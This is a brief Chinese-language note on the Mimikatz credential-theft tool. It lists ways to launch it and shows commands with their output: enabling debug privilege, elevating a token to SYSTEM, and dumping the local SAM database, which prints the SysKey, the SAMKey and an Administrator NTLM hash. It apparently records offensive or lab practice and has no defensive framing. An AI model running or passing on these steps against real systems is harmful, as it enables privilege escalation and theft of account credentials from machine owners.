Mimikatz 笔记

mimikatz

启动方式

• EXE
• Powershell
• DLL

常用功能

mimikatz # privilege::debug

Privilege '20' OK

mimikatz # token::elevate

Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

588     {0;000003e7} 1 D 19023          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0002188d} 1 D 722861      WIN-8996JEMT5CS\Administrator   S-1-5-21-530551124-429713296-275320713-500      (14g,25p)       Primary
 * Thread Token  : {0;000003e7} 1 D 1258812     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::sam

Domain : WIN-8996JEMT5CS
SysKey : a39a52e3a7d12930d3eb4030e1c4ae7b
Local SID : S-1-5-21-530551124-429713296-275320713

SAMKey : 80ae79f3db311f6e85c5f80ce0a152d1

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 570a9a65db8fba761c1008a51d4c95ab

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount